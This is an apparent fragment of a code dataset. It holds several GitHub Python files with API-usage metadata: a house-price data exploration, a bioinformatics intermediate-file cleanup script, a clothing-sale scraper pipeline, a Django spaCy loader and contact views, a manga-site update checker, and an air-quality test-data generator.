{"api_name": "torchvision.transforms", "line_number": 246, "usage_type": "name"}, {"api_name": "pytorch_data.autoaugment.CIFAR10Policy", "line_number": 247, "usage_type": "call"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 248, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 248, "usage_type": "name"}, {"api_name": "pytorch_data.autoaugment.Cutout", "line_number": 249, "usage_type": "call"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 250, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 250, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 263, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 263, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomCrop", "line_number": 264, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 264, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 265, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 265, "usage_type": "name"}, {"api_name": "pytorch_data.autoaugment.CIFAR10Policy", "line_number": 266, "usage_type": "call"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 267, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 267, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomRotation", "line_number": 268, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 268, "usage_type": "name"}, {"api_name": "pytorch_data.autoaugment.Cutout", "line_number": 269, "usage_type": "call"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 270, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 270, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 284, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 284, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomCrop", "line_number": 285, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 285, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 286, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 286, "usage_type": "name"}, {"api_name": "pytorch_data.autoaugment.CIFAR10Policy", "line_number": 287, "usage_type": "call"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 288, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 288, "usage_type": "name"}, {"api_name": "pytorch_data.autoaugment.Cutout", "line_number": 289, "usage_type": "call"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 290, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 290, "usage_type": "name"}]}
{"seq_id": "15130609140", "text": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom scipy.stats import norm\nfrom sklearn.preprocessing import StandardScaler\nfrom scipy import stats\nimport warnings\n\nwarnings.filterwarnings('ignore')\n# %matplotlib inline\n# https://www.kaggle.com/code/pmarcelino/comprehensive-data-exploration-with-python\n# bring data\ndf_train=pd.read_csv('House_Price/data/train.csv')\n\n# Check the decoration\ndf_train.columns\n\n# descriptive statistics summary\ndf_train['SalePrice'].describe\n\n# get histogram\nsns.distplot(df_train['SalePrice'])\n\n# skewness and kurtosis\nprint(\"Skewness: %f\" % df_train['SalePrice'].skew())\nprint(\"Kurtosis: %f\" % df_train['SalePrice'].kurt())\n\n# Check relationship with numerical variables\n# scatter plot-grlivarea/saleprice\nvar='GrLivArea'\ndata=pd.concat([df_train['SalePrice'], df_train[var]], axis=1)\ndata.plot.scatter(x=var, y='SalePrice', ylim=(0, 800000))\n# plt.show()\n\n# scatter plot-totalbsmtsf/saleprcie\nvar='TotalBsmtSF'\ndata=pd.concat([df_train['SalePrice'], df_train[var]], axis=1)\ndata.plot.scatter(x=var, y='SalePrice', ylim=(0, 800000))\n# plt.show()\n\n# Check relationship with categorical features\n# box plot-overallqual/saleprice\nvar='OverallQual'\ndata=pd.concat([df_train['SalePrice'], df_train[var]], axis=1)\nf, ax=plt.subplots(figsize=(8,6))\nfig=sns.boxplot(x=var, y='SalePrice', data=data)\nfig.axis(ymin=0, ymax=800000)\n# plt.show()\n\n# box plot-yearbuilt/saleprice\nvar='YearBuilt'\ndata=pd.concat([df_train['SalePrice'], df_train[var]], axis=1)\nf, ax=plt.subplots(figsize=(16,8))\nfig=sns.boxplot(x=var, y='SalePrice', data=data)\nfig.axis(ymin=0, ymax=800000)\nplt.xticks(rotation=90)\n# plt.show()\n\n", "repo_name": "Park-yebin/House_Price", "sub_path": "house_price.py", "file_name": "house_price.py", "file_ext": "py", "file_size_in_byte": 1678, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "warnings.filterwarnings", "line_number": 10, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 14, "usage_type": "call"}, {"api_name": "seaborn.distplot", "line_number": 23, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 32, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "seaborn.boxplot", "line_number": 47, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "seaborn.boxplot", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}]}
{"seq_id": "32560208714", "text": "#!/usr/bin/python\nimport os,sys,argparse\n\nclass parameters:\n    manual = 'save the basic inputs'\n    endWorkflow=100\n    totalStages=8\n    inputFile= ''\n    outputFile='output'\n    cpus=1\n    typeReads='sff'      \n    combine=' '\n    checkm_aux=''\n    lineage=''\n    delete=False;\n\ndef readConfigFile(fileName, param):\n    error=True\n    fsrc1 = open(fileName,'r') #abre el archivo \n    for line in fsrc1:\n        words=line.split(\"\\n\") \n        words=words[0] \n        words=words.split()\n        #basic parameters\n        if line.startswith('-inputFile'): #mandatory!!!\n            error=False\n            inputFile=words[1]\n            param.inputFile=inputFile\n        elif line.startswith('-end_in'):\n            param.endWorkflow=int(words[1])\n        elif line.startswith('-outputDir'):\n            directory=words[1]\n            param.outputFile=directory\n        elif line.startswith('-cpus'):\n            cpus=words[1]\n            param.cpus=cpus\n        elif line.startswith('-typeReads'): \n            typeReads=words[1]\n            param.typeReads=typeReads \n            if not (param.typeReads=='sff' or param.typeReads=='illumina' or param.typeReads=='fastq' or param.typeReads=='fasta'):\n                print(\"ERROR IN THE CONFIGURATION FILE\")\n                print(\"unsupported reads' format\")\n        elif line.startswith('-combine'): \n            param.combine='-c' \n        elif line.startswith('-checkm_aux'): \n            param.checkm_aux=words[1]            \n        elif line.startswith('-lineage'): \n            param.lineage=words[1] \n        elif line.startswith('-delete'): \n            param.delete=True\n\ndef removeFiles(directory,typeReads):\n    if (os.path.exists(directory)):\n        #Clean\n        #delete clean directory, only conserved clean_reads compressed\n        #pathDataset=directory+'/clean/'\n        #cmd='gzip '+pathDataset+'/clean_reads.'+typeReads\n        #print(cmd)\n        #os.system(cmd)    \n                    \n        pathDataset=directory+'/clean/'\n        cmd='rm '+pathDataset+'/*.txt '+pathDataset+'/*.'+typeReads\n        print(cmd)\n        os.system(cmd)                  \n        #delete 16s rRNA\n        pathDataset=directory+'/16sSeq/'\n        cmd='rm '+pathDataset+'/*.'+typeReads\n        print(cmd)\n        os.system(cmd) \n                    \n        #readsForbin\n        pathDataset=directory\n        cmd='rm '+pathDataset+'/*.fm9 '+pathDataset+'/*.'+typeReads #pathDataset/*.index\n        os.system(cmd)\n                    \n        #round\n        pathDataset=directory+'/round_*'\n        cmd='rm '+pathDataset+'/*.index '+pathDataset+'/*.baseIndex '+pathDataset+'/*.links '+pathDataset+'/*.resultb '+pathDataset+'/*.'+typeReads\n        print(cmd)\n        os.system(cmd)\n                    \n        #busco\n        pathDataset=directory+'/busco'\n        cmd='rm -rf '+pathDataset+'/run_*/'\n        print(cmd)\n        os.system(cmd)\n                    \n        #CheckM\n        pathDataset=directory+'/checkm_out'\n        cmd='rm -rf '+pathDataset+'/bins/ '+pathDataset+'/storage '+pathDataset+'/lineage.ms'\n        print(cmd)\n        os.system(cmd)\n        \n        \n        \n    else:\n        print(directory+\" directory does not exists\")\n    \n\n        \ndef yes_or_no(question):\n    question=question\n    check = str(input(question+\" (Y/N): \")).lower().strip()\n    try:\n        if check[0] == 'y':\n            return True\n        elif check[0] == 'n':\n            return False\n        else:\n            print('Invalid Input')\n            return yes_or_no(question)\n    except Exception as error:\n        print(\"Please enter valid inputs\")\n        print(error)\n        return yes_or_no(question)\n    \ndef yes_or_no2(question):\n    question=question\n    check = str(raw_input(question+\" (Y/N): \")).lower().strip()\n    try:\n        if check[0] == 'y':\n            return True\n        elif check[0] == 'n':\n            return False\n        else:\n            print('Invalid Input')\n            return yes_or_no(question)\n    except Exception as error:\n        print(\"Please enter valid inputs\")\n        print(error)\n        return yes_or_no(question)\n\nif __name__ == \"__main__\":\n    #Final report\n    description='DATMA: Distributed AuTomatic Metagenomc Assembly and Annotation framework delete no essencial files script \\n'\n    epilog='Authors: '\n    epilog+='Benavides A, Alzate JF and Cabarcas F \\n'\n    \n    question=\"You will delete most intermediate files to save disk space.\\n\"\n    question+=\"However, it would prevent DATMA from restarting from an intermediate point\\n\"\n    question+=\"Are you sure you want to continue?\"\n\n    \n    parser = argparse.ArgumentParser(description=description, epilog=epilog)\n    parser.add_argument('-f', '--file', help='configuration file', required=True)\n\n    args = parser.parse_args()\n    param=parameters()\n    \n    if args.file :\n        readConfigFile(args.file,param)\n        typeReads=param.typeReads\n        if not (param.typeReads=='fastq' or param.typeReads=='fasta'):\n            typeReads='fast*'\n            \n        directory=param.outputFile\n        \n        if sys.version_info.major == 3:\n            if(yes_or_no(question)):\n                removeFiles(directory,typeReads)\n            else:\n                print (\"NO changes done\")\n        else:\n            if(yes_or_no2(question)):\n                removeFiles(directory,typeReads)\n            else:\n                print (\"NO changes done\")\n        \n        \n    else:\n        print(\"Usage deleteDATMAfiles -f configurationFile\")\n        \n\n\n\n", "repo_name": "andvides/DATMA", "sub_path": "codes/deleteDATMAfiles.py", "file_name": "deleteDATMAfiles.py", "file_ext": "py", "file_size_in_byte": 5516, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.exists", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 64, "usage_type": "call"}, {"api_name": "os.system", "line_number": 69, "usage_type": "call"}, {"api_name": "os.system", "line_number": 74, "usage_type": "call"}, {"api_name": "os.system", "line_number": 80, "usage_type": "call"}, {"api_name": "os.system", "line_number": 86, "usage_type": "call"}, {"api_name": "os.system", "line_number": 92, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 144, "usage_type": "call"}, {"api_name": "sys.version_info", "line_number": 158, "usage_type": "attribute"}]}
{"seq_id": "40964777382", "text": "from backend.scrapers.zara_scraper import scrape_zara\nfrom backend.scrapers.uniqlo_scraper import scrape_uniqlo\nfrom backend.scrapers.hm_scraper import scrape_hm\nfrom backend.database import create_connection\nfrom backend.transform import zara_transform, uniqlo_transform, hm_transform\nfrom backend.utils import log_config\nimport json\n\n# Set up logging\nlog_config.setup_logging()\n\n# Create a logger for main.py\nlogger = log_config.get_logger(__name__)\n\n\ndef main():\n    logger.info(\"STARTED THE SCRAPING...\")\n    zara_json = scrape_zara()\n    uniqlo_json = scrape_uniqlo()\n    hm_json = scrape_hm()\n    logger.info(\"SCRAPING DONE!!\")\n\n    with open('backend/data/raw/zara_raw.json', 'w') as json_file:\n        json.dump(zara_json, json_file, indent=1)\n    with open('backend/data/raw/uniqlo_raw.json', 'w') as json_file:\n        json.dump(uniqlo_json, json_file, indent=1)\n    with open('backend/data/raw/hm_raw.json', 'w') as json_file:\n        json.dump(hm_json, json_file, indent=1)\n    logger.info(\"SAVED SCRAPED DATA TO raw FOLDER\")\n\n    logger.info(\"TRANSFORMING THE DATA...\")\n    zara_df = zara_transform(zara_json)\n    uniqlo_df = uniqlo_transform(uniqlo_json)\n    hm_df = hm_transform(hm_json)\n    logger.info(\"TRANSFORMATION DONE!!\")\n\n    zara_df.to_csv('backend/data/processed/zara_onsale.csv', index=False)\n    uniqlo_df.to_csv('backend/data/processed/uniqlo_onsale.csv', index=False)\n    hm_df.to_csv('backend/data/processed/hm_onsale.csv', index=False)\n    logger.info(\"SAVED THE TRANSFORMED DATA TO processed FOLDER\")\n\n    logger.info(\"CONNECTING TO THE POSTGRES DB...\")\n    engine = create_connection('onsale_db')\n\n    logger.info(\"WRITING THE TRANSFORMED DATA TO THE POSTGRES DB...\")\n    zara_df.to_sql(name='zara_sale', con=engine, if_exists='replace', index=False)\n    uniqlo_df.to_sql(name='uniqlo_sale', con=engine, if_exists='replace', index=False)\n    hm_df.to_sql(name='hm_sale', con=engine, if_exists='replace', index=False)\n    logger.info(\"SUCCESSFULLY SAVED DATA TO THE DB!!!\")\n\n\nif __name__ == '__main__':\n    main()\n    logger.info(\"ALL DONE!!!\")\n", "repo_name": "ajitchincholkar/Fashion-Sale-Explorer", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2077, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "backend.utils.log_config.setup_logging", "line_number": 10, "usage_type": "call"}, {"api_name": "backend.utils.log_config", "line_number": 10, "usage_type": "name"}, {"api_name": "backend.utils.log_config.get_logger", "line_number": 13, "usage_type": "call"}, {"api_name": "backend.utils.log_config", "line_number": 13, "usage_type": "name"}, {"api_name": "backend.scrapers.zara_scraper.scrape_zara", "line_number": 18, "usage_type": "call"}, {"api_name": "backend.scrapers.uniqlo_scraper.scrape_uniqlo", "line_number": 19, "usage_type": "call"}, {"api_name": "backend.scrapers.hm_scraper.scrape_hm", "line_number": 20, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 24, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 26, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 28, "usage_type": "call"}, {"api_name": "backend.transform.zara_transform", "line_number": 32, "usage_type": "call"}, {"api_name": "backend.transform.uniqlo_transform", "line_number": 33, "usage_type": "call"}, {"api_name": "backend.transform.hm_transform", "line_number": 34, "usage_type": "call"}, {"api_name": "backend.database.create_connection", "line_number": 43, "usage_type": "call"}]}
{"seq_id": "22184564075", "text": "import os\n\nimport yaml\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand, CommandParser\nfrom spacy.cli.download import get_compatibility, get_version\n\nfrom translator.models import SpacyLanguage, parse_spacy_model_kwargs\n\n\nclass Command(BaseCommand):\n    def add_arguments(self, parser: CommandParser) -> None:\n        parser.add_argument(\"file\")\n        parser.add_argument(\n            \"-c\",\n            \"--clear\",\n            action=\"store_true\",\n            help=\"Deletes existing data\",\n        )\n        parser.add_argument(\n            \"-d\",\n            \"--download\",\n            action=\"store_true\",\n            help=\"Download models\",\n        )\n        parser.add_argument(\n            \"--dir\",\n            default=str(settings.BASE_DIR / \"translator\" / \"spacy-models\"),\n            help=\"Deletes existing data\",\n        )\n\n    def handle(self, *args, **options) -> None:\n        if options[\"clear\"]:\n            SpacyLanguage.objects.all().delete()\n        compat = get_compatibility()\n        with open(\n            os.path.join(options[\"dir\"], (options[\"file\"] + \".yaml\"))\n        ) as f:\n            model_names = yaml.load(f.read(), settings.YAML_LOADER).keys()\n            langs = SpacyLanguage.objects.bulk_create(\n                SpacyLanguage(\n                    package_version=get_version(model_name, compat),\n                    **parse_spacy_model_kwargs(model_name, True)\n                )\n                for model_name in model_names\n            )\n            if options[\"download\"]:\n                for lang in langs:\n                    lang.download()\n", "repo_name": "egginabucket/grove", "sub_path": "translator/management/commands/loadspacymodels.py", "file_name": "loadspacymodels.py", "file_ext": "py", "file_size_in_byte": 1616, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.core.management.base.BaseCommand", "line_number": 11, "usage_type": "name"}, {"api_name": "django.core.management.base.CommandParser", "line_number": 12, "usage_type": "name"}, {"api_name": "django.conf.settings.BASE_DIR", "line_number": 28, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 28, "usage_type": "name"}, {"api_name": "translator.models.SpacyLanguage.objects.all", "line_number": 34, "usage_type": "call"}, {"api_name": "translator.models.SpacyLanguage.objects", "line_number": 34, "usage_type": "attribute"}, {"api_name": "translator.models.SpacyLanguage", "line_number": 34, "usage_type": "name"}, {"api_name": "spacy.cli.download.get_compatibility", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "yaml.load", "line_number": 39, "usage_type": "call"}, {"api_name": "django.conf.settings.YAML_LOADER", "line_number": 39, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 39, "usage_type": "name"}, {"api_name": "translator.models.SpacyLanguage.objects.bulk_create", "line_number": 40, "usage_type": "call"}, {"api_name": "translator.models.SpacyLanguage.objects", "line_number": 40, "usage_type": "attribute"}, {"api_name": "translator.models.SpacyLanguage", "line_number": 40, "usage_type": "name"}, {"api_name": "translator.models.SpacyLanguage", "line_number": 41, "usage_type": "call"}, {"api_name": "spacy.cli.download.get_version", "line_number": 42, "usage_type": "call"}, {"api_name": "translator.models.parse_spacy_model_kwargs", "line_number": 43, "usage_type": "call"}]}
{"seq_id": "2108620467", "text": "import requests\r\nimport webbrowser\r\nimport time\r\nimport json\r\nfrom bs4 import BeautifulSoup\r\n\r\nheaders = {\r\n    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36'\r\n}\r\n\r\n#Prepare cookies, used in requests.get() below\r\ncookies_f = open('excookie.txt', 'r')\r\ncookies_copy = eval(cookies_f.read())\r\ncookies_f.close()\r\n\r\n\r\ncookies = {}\r\nfor each_item in cookies_copy:\r\n    cookies[each_item['name']] = each_item['value']\r\n\r\n\r\nurl = 'https://exhentai.org/'\r\n\r\n#template of url\r\nurl1 = r'https://exhentai.org/?f_cats=1017&f_search='\r\n#url2 = r'&f_apply=Apply+Filter'\r\n\r\n\r\nartists = []\r\n    \r\n\r\ndef req_by_name(name):\r\n    #get method, loaded by get()\r\n    payload = {'f_doujinshi': '1',\r\n           'f_manga': '1',\r\n           'f_artistcg': '0',\r\n           'f_gamecg': '0',\r\n           'f_western': '0',\r\n           'f_non-h': '0',\r\n           'f_imageset': '0',\r\n           'f_cosplay': '0',\r\n           'f_asianporn': '0',\r\n           'f_misc': '0',\r\n           'f_search': None,\r\n           'f_apply': 'Apply+Filter'}\r\n    payload['f_search'] = name\r\n    #r = requests.get(url, cookies=cookies, headers=headers, params=payload)\r\n    r = requests.get(url, headers=headers, cookies=cookies, params=payload)\r\n    print(name)\r\n    return r.text\r\n\r\ndef main_process():\r\n\r\n    old = {} #A dict, artist:[manga's names]\r\n    new = {}\r\n\r\n    #Read from old.txt which contains old data to be compared\r\n    file = open('old.txt', 'r') \r\n    js = file.read()\r\n    old = json.loads(js)   \r\n    file.close()\r\n    cnt = 0 #counting for altered object\r\n    for each_name in artists:\r\n        html_text = req_by_name(each_name)\r\n        soup = BeautifulSoup(html_text, features='lxml')\r\n        collection = []\r\n        for each in soup.find_all(class_='gl4t glname glink'):    \r\n            collection.append(each.get_text())\r\n        new[each_name] = collection\r\n        # Since the e-hentai forbides some content available on the ex-hentai, we now have to verify is this item availble on the e-hentai\r\n        if not new[each_name]:\r\n            print('-------Nothing found, skiped')\r\n            continue\r\n        if each_name not in old.keys() or not old[each_name] or old[each_name][0] != new[each_name][0]:\r\n            webbrowser.open(url1+each_name, new=2)\r\n            cnt += 1\r\n            print('\\t---changed to', new[each_name][0])\r\n\r\n    js = json.dumps(new)\r\n    f = open('old.txt', 'w')\r\n    f.write(js)\r\n    f.close()\r\n    #routine for gmgard\r\n    #webbrowser.open('https://gmgard.com', new=2)\r\n    print('\\n\\n\\n***Finished***\\n', cnt, 'changed.')\r\n\r\ndef main():\r\n    start_time = time.clock() #Timing\r\n    retry_times = 0\r\n    '''\r\n    while True:\r\n        try:\r\n            main_process()\r\n            break\r\n        except requests.RequestException as err:\r\n            print('\\n\\n\\n***', err, '***\\n\\n\\n')\r\n            print('restart')\r\n            retry_times += 1\r\n            if retry_times >= 10:\r\n                break\r\n        except BaseException as unk_err:\r\n            print('Unknow error, quit', unk_err, time.clock()-start_time)\r\n            break\r\n        finally:\r\n            print(time.clock()-start_time)\r\n            print('Retried', retry_times, 'times')\r\n    '''\r\n    main_process()\r\n    print(time.clock()-start_time)\r\n\r\nif __name__=='__main__':\r\n    main()\r\n\r\n'''\r\n#Initialize(or reset) the old.txt by json\r\njs = json.dumps(new)\r\nf = open('old.txt', 'w')\r\nf.write(js)\r\nf.close()\r\n'''\r\n\r\n", "repo_name": "mingyunyuansu/Auto-query-Exhentai-by-artists-specified", "sub_path": "new_check.py", "file_name": "new_check.py", "file_ext": "py", "file_size_in_byte": 3496, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 48, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 60, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 65, "usage_type": "call"}, {"api_name": "webbrowser.open", "line_number": 75, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 79, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 88, "usage_type": "call"}, {"api_name": "time.clock", "line_number": 109, "usage_type": "call"}]}
{"seq_id": "23945836104", "text": "#-*- coding:utf-8 -*-\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import get_object_or_404\nfrom django.views.decorators.http import require_GET\nfrom django.shortcuts import redirect\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponse\n\nfrom annoying.decorators import render_to\nfrom annoying.functions import get_object_or_None\nimport json\n\nfrom my_info.models import Contact, LoggedRequest\nfrom my_info.forms import ContactForm\n\n\nSORTING = {\n    'timestamp': \"Timestamp ASC\",\n    '-timestamp': \"Timestamp DESC\",\n    'priority': \"Priority ASC\",\n    '-priority': \"Priority DESC\"\n}\n\n\n@require_GET\n@render_to('my_info/home.html')\ndef info_page(request):\n    my_contacts = get_object_or_404(Contact, pk=1)\n    return {'contacts': my_contacts}\n\n\n@require_GET\n@render_to('my_info/requests.html')\ndef logged_requests_page(request):\n\n    queryset = LoggedRequest.objects.all()\n    ordering = 'timestamp'\n\n    if 'ordering' in request.GET and request.GET['ordering']:\n        ordering = request.GET['ordering']\n    requests = queryset.order_by(ordering)[: 10]\n\n    return {'requests': requests, 'sorting': SORTING, 'active': ordering}\n\n\n@login_required\n@render_to('my_info/edit_contacts.html')\ndef edit_contacts(request):\n    my_contacts = get_object_or_None(Contact, id=1)\n\n    if request.method == 'POST':\n        form = ContactForm(request.POST, request.FILES, instance=my_contacts)\n        response_dict = {}\n        if request.is_ajax():\n            if form.is_valid():\n                form.save()\n                response_dict['result'] = 'success'\n            else:\n                response_dict['result'] = 'error'\n                errors = {}\n                for error in form.errors:\n                    errors[error] = form.errors[error][0]\n                response_dict['form_errors'] = errors\n            data = json.dumps(response_dict, ensure_ascii=False)\n            return HttpResponse(data, mimetype='application/json')\n        else:\n            if form.is_valid():\n                form.save()\n                return redirect(reverse('home'))\n    else:\n        form = ContactForm(instance=my_contacts)\n\n    return {'form': form, 'photo': my_contacts.photo}\n", "repo_name": "Animasola/CupsTest", "sub_path": "my_info/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2230, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.shortcuts.get_object_or_404", "line_number": 28, "usage_type": "call"}, {"api_name": "my_info.models.Contact", "line_number": 28, "usage_type": "argument"}, {"api_name": "django.views.decorators.http.require_GET", "line_number": 25, "usage_type": "name"}, {"api_name": "annoying.decorators.render_to", "line_number": 26, "usage_type": "call"}, {"api_name": "my_info.models.LoggedRequest.objects.all", "line_number": 36, "usage_type": "call"}, {"api_name": "my_info.models.LoggedRequest.objects", "line_number": 36, "usage_type": "attribute"}, {"api_name": "my_info.models.LoggedRequest", "line_number": 36, "usage_type": "name"}, {"api_name": "django.views.decorators.http.require_GET", "line_number": 32, "usage_type": "name"}, {"api_name": "annoying.decorators.render_to", "line_number": 33, "usage_type": "call"}, {"api_name": "annoying.functions.get_object_or_None", "line_number": 49, "usage_type": "call"}, {"api_name": "my_info.models.Contact", "line_number": 49, "usage_type": "argument"}, {"api_name": "my_info.forms.ContactForm", "line_number": 52, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 64, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 65, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 69, "usage_type": "call"}, {"api_name": "django.core.urlresolvers.reverse", "line_number": 69, "usage_type": "call"}, {"api_name": "my_info.forms.ContactForm", "line_number": 71, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 46, "usage_type": "name"}, {"api_name": "annoying.decorators.render_to", "line_number": 47, "usage_type": "call"}]}
{"seq_id": "25572220785", "text": "import sys\nimport os\nimport time\nimport random\nimport string\nfrom datetime import datetime, timedelta\nfrom typing import Optional\n\nimport pymysql\nfrom dotenv import load_dotenv\nimport numpy as np\n\ndef connect_to_database(settings_file:Optional[str] = None) -> pymysql.connections.Connection:\n\n    if settings_file is None: \n        rds_host  = \"localhost\"\n        name = \"root\"\n        password = \"password\"\n        db_name = \"openaq\"\n    else:\n        load_dotenv(settings_file)\n\n        rds_host  = os.environ.get('DB_HOSTNAME') #type: ignore\n        name = os.environ.get('DB_USERNAME') #type: ignore\n        password = os.environ.get('DB_PASSWORD') #type: ignore\n\n    try:\n        connection = pymysql.connect(\n            host=rds_host, \n            user=name, \n            passwd=password, \n            connect_timeout=5\n        )\n    except pymysql.Error as e:\n        print(f\"Error connecting to MariaDB. {e}\")\n        raise \n\n    return connection\n\ndef generate_random_string(length:int) -> str:\n    letters = string.ascii_lowercase\n    return ''.join(random.choice(letters) for i in range(length))\n\ndef generate_random_record() -> dict:\n\n    city = random.choice(['Genk', 'Diepenbeek', 'Leuven', 'Antwerpen', 'Hasselt', 'Brussel', 'Gent', 'Landen'])\n\n    record = {\n        'message_id': generate_random_string(10),\n        'message_send_time_utc': datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S.0\"),\n        'measurement_time_utc': (datetime.utcnow() + timedelta(minutes=-np.exp(np.random.normal(1, 1)))).strftime(\"%Y-%m-%d %H:%M:%S.0\"),\n        'country_code': 'BE',\n        'location': city,\n        'city': city,\n        'latitude': 0,\n        'longitude': 1,\n        'source_type': random.choice(['Government', 'Community']),\n        'source_name': generate_random_string(3),\n        'parameter_name': 'pm25',\n        'parameter_unit': 'so³',\n        'parameter_value': np.exp(np.random.normal(0, 1))\n    }\n\n    return record\n\ndef generate_data(frequency_per_minute:int, settings_file:Optional[str] = None) -> None:\n    \n    connection = connect_to_database(settings_file)\n    cursor = connection.cursor()\n    \n    # read the insert query template\n    with open(\"queries/ingestion/insert-raw-record-many.sql\", 'r') as f:\n        sql = f.read()\n\n    # send records in batches of 20. Frequency_per_minute is reached by waiting\n    # ((20 * 60) /frequency_per_minute) seconds between each batch\n    # This ignores the computation time required to send the records\n    time_between_batches = (60 * 20) /frequency_per_minute \n\n    print(\"Start data generation\")\n    num_batches_send = 0\n    while(True):\n        records = [tuple(generate_random_record().values()) for i in range(20)]\n        \n        cursor.executemany(sql, records)\n        \n        connection.commit()\n        num_batches_send += 1\n\n        if(num_batches_send % 50 == 0):\n            print(f\"{num_batches_send * 20} records send\")\n\n        time.sleep(time_between_batches)\n\n    # script will never reach this point, but useful when executing in interactive mode\n    connection.close()\n\nif __name__ == \"__main__\":\n    args = sys.argv\n\n    if len(args) > 1:\n        frequency = int(args[1]) \n    else:\n        print(\"Missing argument frequency. Inserting 100 records / minute.\")\n        frequency = 100\n\n    if len(args) > 2:\n        settings_file = args[2] \n    else:\n        settings_file = None #type: ignore\n\n    generate_data(frequency, settings_file)\n\n\n\n", "repo_name": "jonascrevecoeur/airmax", "sub_path": "batch-processing/generate-test-data.py", "file_name": "generate-test-data.py", "file_ext": "py", "file_size_in_byte": 3438, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.Optional", "line_number": 13, "usage_type": "name"}, {"api_name": "dotenv.load_dotenv", "line_number": 21, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 23, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 24, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 25, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pymysql.connect", "line_number": 28, "usage_type": "call"}, 